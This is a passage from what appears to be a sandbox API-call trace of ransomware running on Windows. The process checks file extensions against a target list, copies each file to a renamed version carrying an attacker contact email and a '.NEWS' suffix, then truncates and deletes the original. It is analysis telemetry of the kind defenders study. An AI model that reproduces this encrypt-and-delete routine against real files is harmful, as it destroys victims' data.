(lpString=".rar") returned 4 [0067.187] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0067.187] lstrlenW (lpString=".bz2") returned 4 [0067.187] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0067.187] lstrlenW (lpString=".7z") returned 3 [0067.187] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0067.188] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml") returned 61 [0067.188] lstrlenW (lpString=".dbf") returned 4 [0067.188] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0067.188] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml") returned 61 [0067.188] lstrlenW (lpString=".1cd") returned 4 [0067.188] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0067.188] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml") returned 61 [0067.188] lstrlenW (lpString=".jpg") returned 4 [0067.188] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0067.188] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml") returned 61 [0067.188] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml") returned 61 [0067.188] lstrlenW (lpString=".doc") returned 4 [0067.188] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0067.188] lstrlenW (lpString=".docx") returned 5 [0067.188] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1 [0067.188] lstrlenW (lpString=".pdf") returned 4 [0067.188] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0067.188] lstrlenW (lpString=".xls") returned 4 [0067.188] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0067.188] lstrlenW (lpString=".xlsx") returned 5 [0067.188] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1 [0067.188] lstrlenW (lpString=".ppt") returned 4 [0067.188] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0067.188] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml") returned 61 [0067.188] lstrlenW (lpString=".zip") returned 4 [0067.188] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0067.188] lstrlenW (lpString=".rar") returned 4 [0067.188] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0067.188] lstrlenW (lpString=".bz2") returned 4 [0067.188] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0067.188] lstrlenW (lpString=".7z") returned 3 [0067.188] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0067.188] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml") returned 61 [0067.188] lstrlenW (lpString=".dbf") returned 4 [0067.188] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0067.188] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml") returned 61 [0067.189] lstrlenW (lpString=".1cd") returned 4 [0067.189] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0067.189] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml") returned 61 [0067.189] lstrlenW (lpString=".jpg") returned 4 [0067.189] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0067.189] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0067.189] lstrlenW (lpString="ipsdeu.xml") returned 10 [0067.189] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdeu.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0067.189] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x325ff14 | out: lpFileSize=0x325ff14*=2616) returned 1 [0067.189] CloseHandle (hObject=0x374) returned 1 [0067.189] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdeu.xml")) returned 0x20 [0067.189] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdeu.xml.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0067.189] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdeu.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0067.189] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml") returned 61 [0067.189] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml") returned 61 [0067.189] lstrlenW (lpString=".doc") returned 4 [0067.189] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0067.190] lstrlenW (lpString=".docx") returned 5 [0067.190] lstrcmpiW (lpString1=".docx", lpString2="u.xml") returned -1 [0067.190] lstrlenW (lpString=".pdf") returned 4 [0067.190] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0067.190] lstrlenW (lpString=".xls") returned 4 [0067.190] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0067.190] lstrlenW (lpString=".xlsx") returned 5 [0067.190] lstrcmpiW (lpString1=".xlsx", lpString2="u.xml") returned -1 [0067.190] lstrlenW (lpString=".ppt") returned 4 [0067.190] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0067.190] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml") returned 61 [0067.190] lstrlenW (lpString=".zip") returned 4 [0067.190] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0067.190] lstrlenW (lpString=".rar") returned 4 [0067.190] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0067.190] lstrlenW (lpString=".bz2") returned 4 [0067.190] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0067.190] lstrlenW (lpString=".7z") returned 3 [0067.190] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0067.190] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml") returned 61 [0067.190] lstrlenW (lpString=".dbf") returned 4 [0067.190] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0067.244] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0067.244] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0067.244] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0067.245] GetLastError () returned 0x0 [0067.245] ReadFile (in: hFile=0x374, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x285, lpOverlapped=0x0) returned 1 [0067.246] WriteFile (in: hFile=0x308, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0x290, lpOverlapped=0x0) returned 1 [0067.247] ReadFile (in: hFile=0x374, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x0, lpOverlapped=0x0) returned 1 [0067.247] WriteFile (in: hFile=0x308, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0xea, lpOverlapped=0x0) returned 1 [0067.247] SetEndOfFile (hFile=0x308) returned 1 [0067.247] CloseHandle (hObject=0x308) returned 1 [0067.248] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0067.248] SetEndOfFile (hFile=0x374) returned 1 [0067.249] CloseHandle (hObject=0x374) returned 1 [0067.255] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x26) returned 1 [0067.255] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini")) returned 1 [0067.256] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini") returned 69 [0067.256] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini") returned 69 [0067.256] lstrlenW (lpString=".doc") returned 4 [0067.256] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0067.256] lstrlenW (lpString=".docx") returned 5 [0067.256] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0067.256] lstrlenW (lpString=".pdf") returned 4 [0067.256] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0067.256] lstrlenW (lpString=".xls") returned 4 [0067.256] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0067.256] lstrlenW (lpString=".xlsx") returned 5 [0067.256] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0067.256] lstrlenW (lpString=".ppt") returned 4 [0067.256] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0067.256] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini") returned 69 [0067.256] lstrlenW (lpString=".zip") returned 4 [0067.256] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0067.256] lstrlenW (lpString=".rar") returned 4 [0067.256] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0067.256] lstrlenW (lpString=".bz2") returned 4 [0067.256] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0067.256] lstrlenW (lpString=".7z") returned 3 [0067.256] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0067.256] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini") returned 69 [0067.256] lstrlenW (lpString=".dbf") returned 4 [0067.256] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0067.256] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini") returned 69 [0067.256] lstrlenW (lpString=".1cd") returned 4 [0067.256] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0067.256] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini") returned 69 [0067.256] lstrlenW (lpString=".jpg") returned 4 [0067.256] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0067.256] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini") returned 69 [0067.256] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini") returned 69 [0067.256] lstrlenW (lpString=".doc") returned 4 [0067.256] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0067.257] lstrlenW (lpString=".docx") returned 5 [0067.257] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0067.257] lstrlenW (lpString=".pdf") returned 4 [0067.257] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0067.257] lstrlenW (lpString=".xls") returned 4 [0067.257] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0067.257] lstrlenW (lpString=".xlsx") returned 5 [0067.257] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0067.257] lstrlenW (lpString=".ppt") returned 4 [0067.257] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0067.257] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini") returned 69 [0067.257] lstrlenW (lpString=".zip") returned 4 [0067.257] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0067.257] lstrlenW (lpString=".rar") returned 4 [0067.257] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0067.257] lstrlenW (lpString=".bz2") returned 4 [0067.257] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0067.257] lstrlenW (lpString=".7z") returned 3 [0067.257] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0067.257] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini") returned 69 [0067.257] lstrlenW (lpString=".dbf") returned 4 [0067.257] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0067.257] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini") returned 69 [0067.257] lstrlenW (lpString=".1cd") returned 4 [0067.257] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0067.257] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini") returned 69 [0067.257] lstrlenW (lpString=".jpg") returned 4 [0067.257] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0067.257] lstrcmpiW (lpString1=".gif", lpString2=".NEWS") returned -1 [0067.257] lstrlenW (lpString="splash@2x.gif") returned 13 [0067.257] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0067.258] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x325ff14 | out: lpFileSize=0x325ff14*=15276) returned 1 [0067.258] CloseHandle (hObject=0x374) returned 1 [0067.258] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif")) returned 0x20 [0067.258] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0067.259] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0067.259] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0067.259] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0067.259] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0067.259] GetLastError () returned 0x0 [0067.259] ReadFile (in: hFile=0x374, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x3bac, lpOverlapped=0x0) returned 1 [0067.261] WriteFile (in: hFile=0x308, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0x3bb0, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0x3bb0, lpOverlapped=0x0) returned 1 [0067.262] ReadFile (in: hFile=0x374, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x0, lpOverlapped=0x0) returned 1 [0067.262] WriteFile (in: hFile=0x308, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0xee, lpOverlapped=0x0) returned 1 [0067.262] SetEndOfFile (hFile=0x308) returned 1 [0067.262] CloseHandle (hObject=0x308) returned 1 [0067.264] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0067.264] SetEndOfFile (hFile=0x374) returned 1 [0067.265] CloseHandle (hObject=0x374) returned 1 [0067.265] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0067.265] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif")) returned 1 [0067.265] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif") returned 59 [0067.265] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif") returned 59 [0067.265] lstrlenW (lpString=".doc") returned 4 [0067.265] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0067.265] lstrlenW (lpString=".docx") returned 5 [0067.265] lstrcmpiW (lpString1=".docx", lpString2="x.gif") returned -1 [0067.265] lstrlenW (lpString=".pdf") returned 4 [0067.265] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0067.265] lstrlenW (lpString=".xls") returned 4 [0067.265] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0067.265] lstrlenW (lpString=".xlsx") returned 5 [0067.265] lstrcmpiW (lpString1=".xlsx", lpString2="x.gif") returned -1 [0067.266] lstrlenW (lpString=".ppt") returned 4 [0067.266] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0067.266] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif") returned 59 [0067.266] lstrlenW (lpString=".zip") returned 4 [0067.266] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0067.266] lstrlenW (lpString=".rar") returned 4 [0067.266] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0067.266] lstrlenW (lpString=".bz2") returned 4 [0067.266] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0067.266] lstrlenW (lpString=".7z") returned 3 [0067.266] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0067.266] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif") returned 59 [0067.266] lstrlenW (lpString=".dbf") returned 4 [0067.266] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0067.266] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif") returned 59 [0067.266] lstrlenW (lpString=".1cd") returned 4 [0067.266] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0067.266] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif") returned 59 [0067.266] lstrlenW (lpString=".jpg") returned 4 [0067.266] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0067.266] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif") returned 59 [0067.266] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif") returned 59 [0067.266] lstrlenW (lpString=".doc") returned 4 [0067.266] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0067.266] lstrlenW (lpString=".docx") returned 5 [0067.266] lstrcmpiW (lpString1=".docx", lpString2="x.gif") returned -1 [0067.266] lstrlenW (lpString=".pdf") returned 4 [0067.266] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0067.266] lstrlenW (lpString=".xls") returned 4 [0067.266] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0067.266] lstrlenW (lpString=".xlsx") returned 5 [0067.267] lstrcmpiW (lpString1=".xlsx", lpString2="x.gif") returned -1 [0067.267] lstrlenW (lpString=".ppt") returned 4 [0067.267] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0067.267] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif") returned 59 [0067.267] lstrlenW (lpString=".zip") returned 4 [0067.267] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0067.267] lstrlenW (lpString=".rar") returned 4 [0067.267] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0067.267] lstrlenW (lpString=".bz2") returned 4 [0067.267] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0067.267] lstrlenW (lpString=".7z") returned 3 [0067.267] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0067.267] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif") returned 59 [0067.267] lstrlenW (lpString=".dbf") returned 4 [0067.267] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0067.267] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif") returned 59 [0067.267] lstrlenW (lpString=".1cd") returned 4 [0067.267] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0067.267] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif") returned 59 [0067.267] lstrlenW (lpString=".jpg") returned 4 [0067.267] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0067.267] lstrcmpiW (lpString1=".gif", lpString2=".NEWS") returned -1 [0067.267] lstrlenW (lpString="splash_11-lic.gif") returned 17 [0067.267] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0067.268] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x325ff14 | out: lpFileSize=0x325ff14*=7805) returned 1 [0067.268] CloseHandle (hObject=0x374) returned 1 [0067.268] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif")) returned 0x20 [0067.269] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0067.269] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0067.269] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0067.269] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0067.269] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0067.269] GetLastError () returned 0x0 [0067.269] ReadFile (in: hFile=0x374, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x1e7d, lpOverlapped=0x0) returned 1 [0067.271] WriteFile (in: hFile=0x308, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0x1e80, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0x1e80, lpOverlapped=0x0) returned 1 [0067.272] ReadFile (in: hFile=0x374, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x0, lpOverlapped=0x0) returned 1 [0067.272] WriteFile (in: hFile=0x308, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0xf6, lpOverlapped=0x0) returned 1 [0067.272] SetEndOfFile (hFile=0x308) returned 1 [0067.272] CloseHandle (hObject=0x308) returned 1 [0067.275] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0067.275] SetEndOfFile (hFile=0x374) returned 1 [0067.275] CloseHandle (hObject=0x374) returned 1 [0067.276] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0067.276] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif")) returned 1 [0067.276] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif") returned 63 [0067.276] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif") returned 63 [0067.276] lstrlenW (lpString=".doc") returned 4 [0067.276] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0067.276] lstrlenW (lpString=".docx") returned 5 [0067.276] lstrcmpiW (lpString1=".docx", lpString2="c.gif") returned -1 [0067.276] lstrlenW (lpString=".pdf") returned 4 [0067.276] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0067.276] lstrlenW (lpString=".xls") returned 4 [0067.276] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0067.276] lstrlenW (lpString=".xlsx") returned 5 [0067.276] lstrcmpiW 